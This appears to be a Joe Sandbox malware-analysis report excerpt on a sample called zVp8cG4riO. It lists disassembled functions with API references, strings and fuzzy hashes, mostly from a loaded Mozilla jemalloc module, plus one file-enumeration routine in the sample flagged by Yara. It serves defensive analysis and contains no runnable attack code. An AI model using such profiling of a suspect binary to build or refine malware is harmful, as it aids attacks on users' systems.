CryptCATAdminReleaseCatalogContext, xrefs: 6CCF72C8
wintrust.dll, xrefs: 6CCF72CD

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction ID: a233cb33f1fa8952de5e7ae20a1d58365a454b6ef91bfdabc8609f28db12e5be
Opcode Fuzzy Hash: 3d21d2f2210448a20fb8d1f9eaa615558f61a7a60170daa5690614b33fc204cf
Instruction Fuzzy Hash: F55295B1A002149BFB61DF25CC84BAAB7BDFF45704F104199E91997740EB70AB89CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD20F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CD20F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CD20FB7
EnterCriticalSection.KERNEL32(?), ref: 6CD20FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CD21031
LeaveCriticalSection.KERNEL32(?), ref: 6CD210D0
EnterCriticalSection.KERNEL32(?), ref: 6CD2117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CD21C39
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CD23391
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CD233CD
LeaveCriticalSection.KERNEL32(?), ref: 6CD23431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD23437

Strings

MALLOC_OPTIONS, xrefs: 6CD235FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CD237BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD23559, 6CD2382D, 6CD23848
: (malloc) Unsupported character in malloc options: ', xrefs: 6CD23A02
Compile-time page size does not divide the runtime one., xrefs: 6CD23946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CD237A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CD23793
<jemalloc>, xrefs: 6CD23941, 6CD239F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CD237D2
MOZ_CRASH(), xrefs: 6CD23950

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction ID: 4a65355dcbc8a8ffadea64b2e61a4279e09f2ec65550d4b24157aea757c1a827
Opcode Fuzzy Hash: 8d0f86b45a4d3e797433059c81e1ffb54e1f92e16fd9396c3f96c82b93fdf4e3
Instruction Fuzzy Hash: 69538C71A15701CFD304CF29C540615FBE1BF89328F29C66DE9A99BBA1D73AE841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD43EE2

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CD461DD
Part of subcall function 6CD46180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CD4622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44157

Part of subcall function 6CD46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD46250
Part of subcall function 6CD46180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD46292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD4441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD44448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD4484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD44896
free.MOZGLUE ref: 6CD4489F

Strings

, xrefs: 6CD44CD2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction ID: d221647f8019a35b06271e49326806252840715cc5b6fc630f21d70066f9f536
Opcode Fuzzy Hash: 3f632d0b2721225c6c9af5aaba7fa2a4f9c2a43b3f4a94c4867d533de695c602
Instruction Fuzzy Hash: C5F24B74908B80CFC721CF28C08469AFBF1BFC9354F558A5EDA9997721DB319896CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CCF64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CCF64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CCF6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CCF6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CCF671C
GetCurrentProcess.KERNEL32 ref: 6CCF6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF672F
GetCurrentProcess.KERNEL32 ref: 6CCF6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCF6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CCF6A80
GetSystemInfo.KERNEL32(?), ref: 6CCF6ABE
__Init_thread_footer.LIBCMT ref: 6CCF6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CCF6798
detoured.dll, xrefs: 6CCF64DA
user32.dll, xrefs: 6CCF6526
_etoured.dll, xrefs: 6CCF64ED
nvd3d9wrap.dll, xrefs: 6CCF6500
nvdxgiwrap.dll, xrefs: 6CCF6513

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction ID: 382297674899623172e202abe6d2fe0c11641a217d25b0ca157546207309afdc
Opcode Fuzzy Hash: 92d507fd080657a16407da2d27e5ca1cace682678ff1e86351ca8054c0d980e6
Instruction Fuzzy Hash: E8F105709056199FDB60CF25CC487EAB7B4EF46308F1442D9E929E3681E731AE86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD4C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CD4C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CD4E472

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: f7ef8d51051de4a01406300b4ae6923c5580d56a89c6cf49eadd7ccb59e2b362
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 14338F71E0021ACFCB14CF98C8806ADFBF2FF89314F298269D955AB765D731A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4
<jemalloc>, xrefs: 6CD00D62, 6CD00D76, 6CD00DA7
: (malloc) Error in VirtualFree(), xrefs: 6CD00D67, 6CD00D7B, 6CD00DAC

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction ID: 671db4d2ec880cfa156422ee8fe5dd1bebdef433b15026e5ad103dfa01dbc398
Opcode Fuzzy Hash: 893dac0bbca2461455f93211e773792b543584605896d23924eac92e586f0006
Instruction Fuzzy Hash: BCC29A71B057419FD714CF2DC980716BBE1AF86328F28C66DE4A98BBA5D771E801CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CD4E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD4EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD4F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD4F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD50E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD50E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CD50ED4

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction ID: 64e7e2db96c9a9a6a60d9c0e42e3ddb72154747c93451ffba33895b202e1f0e8
Opcode Fuzzy Hash: 98803544b969e5ac06309a55958c94bf8b6d27f669391148cfc4f054d5798eab
Instruction Fuzzy Hash: A3639E71E0025ACFCF04CFA8C88069DFBB2FF89314F698269D955AB765D730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004121F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
HeapAlloc.KERNEL32(00000000), ref: 00412207
wsprintfA.USER32 ref: 00412223
FindFirstFileA.KERNEL32(?,?), ref: 0041223A
StrCmpCA.SHLWAPI(?,0041D84C), ref: 00412268
StrCmpCA.SHLWAPI(?,0041D850), ref: 0041227E
FindNextFileA.KERNEL32(000000FF,?), ref: 004122FF
FindClose.KERNEL32(000000FF), ref: 00412314
lstrcat.KERNEL32(?,02F84950), ref: 00412339
lstrcat.KERNEL32(?,02F8B418), ref: 0041234C
lstrlen.KERNEL32(?), ref: 00412359
lstrlen.KERNEL32(?), ref: 0041236A

Strings

%s\%s, xrefs: 00412295
%s\*, xrefs: 00412217

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 333eb63e704fa0ab8c5fb78ea37c725d63d8f40c9f6006c56dd0fd91307c0c46
Instruction ID: 68eafe57ffc654504e5fb8166b756e3a47007b1446461b295be9b39175aa6662
Opcode Fuzzy Hash: 333eb63e704fa0ab8c5fb78ea37c725d63d8f40c9f6006c56dd0fd91307c0c46
Instruction Fuzzy Hash: 5551A6B5940618ABCB20EBB0DC89FEE737DAB98300F404689F61A96150DF749BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CD23E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CD47770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23E7D,?,?,?,6CD23E7D,?,?), ref: 6CD4777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CD23F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CD23F5C
VerSetConditionMask.NTDLL ref: 6CD23F8D
VerSetConditionMask.NTDLL ref: 6CD23F99
VerSetConditionMask.NTDLL ref: 6CD23FA0
VerSetConditionMask.NTDLL ref: 6CD23FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CD23FB4

Strings

nvinit.dll, xrefs: 6CD24479
nvd3d9wrap.dll, xrefs: 6CD24466

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction ID: b4fed86346114a58f56be37d69f64b7f2d4fb0d787a2aa41fa0f8f7d036da1d7
Opcode Fuzzy Hash: d41a9440ba58b3baba382fd4631983553f0ae332a143b441780197162399638b
Instruction Fuzzy Hash: 2E522471610B458FE714DF34C990AABB7E9AF85208F44482DE5A2CB752DB74F90ACB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CD0EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CD0EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CD11695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CD11770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD11A3E

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction ID: 392efa629b2f63bee3a180006a60613e88a19b3eca1abadb17e8cc4084fb39c9
Opcode Fuzzy Hash: de54da0da06c55aecd098d743558687d96a5c4b8c833af0d6dd840c667d6f3da
Instruction Fuzzy Hash: 18B32971E04219CFCB14CFA8D890A9DB7B2FF49304F2582A9D459ABB55D730AD86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E7B8), ref: 6CCFFF81
LeaveCriticalSection.KERNEL32(6CD6E7B8), ref: 6CD0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CD00240
EnterCriticalSection.KERNEL32(6CD6E768), ref: 6CD0025B
LeaveCriticalSection.KERNEL32(6CD6E768), ref: 6CD0027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCFFE99, 6CCFFEB7, 6CCFFED3, 6CD00DB8, 6CD00DD3, 6CD019B4, 6CD01A10
MOZ_CRASH(), xrefs: 6CD00CA7

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction ID: 0fae65e2e6d33cb20512b6d6fe1725a6e3ca82380a193035946bec20835ff47a
Opcode Fuzzy Hash: bc468d93dbfbb5e92e915fe4f19526d11d1ab8a5d559c408cd08cd1fa7b39f00
Instruction Fuzzy Hash: F4B27871B05741CBD714CF2DC590716BBE1AF85328F28C66CE9AA8BBA5D770E840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D6A6
LeaveCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D712
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CD1D1C5), ref: 6CD0D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CD0D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CD0D82C
<jemalloc>, xrefs: 6CD0D827

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
Instruction ID: 49fef586e11ab6b3c3cd3f96c7ed3f4fa2e2626d5c38f4de518955e268d84796
Opcode Fuzzy Hash: 9546db24cda8515f9fd8e14c5ca20d6629bee34ce3cee90cc55807c3c2efc912
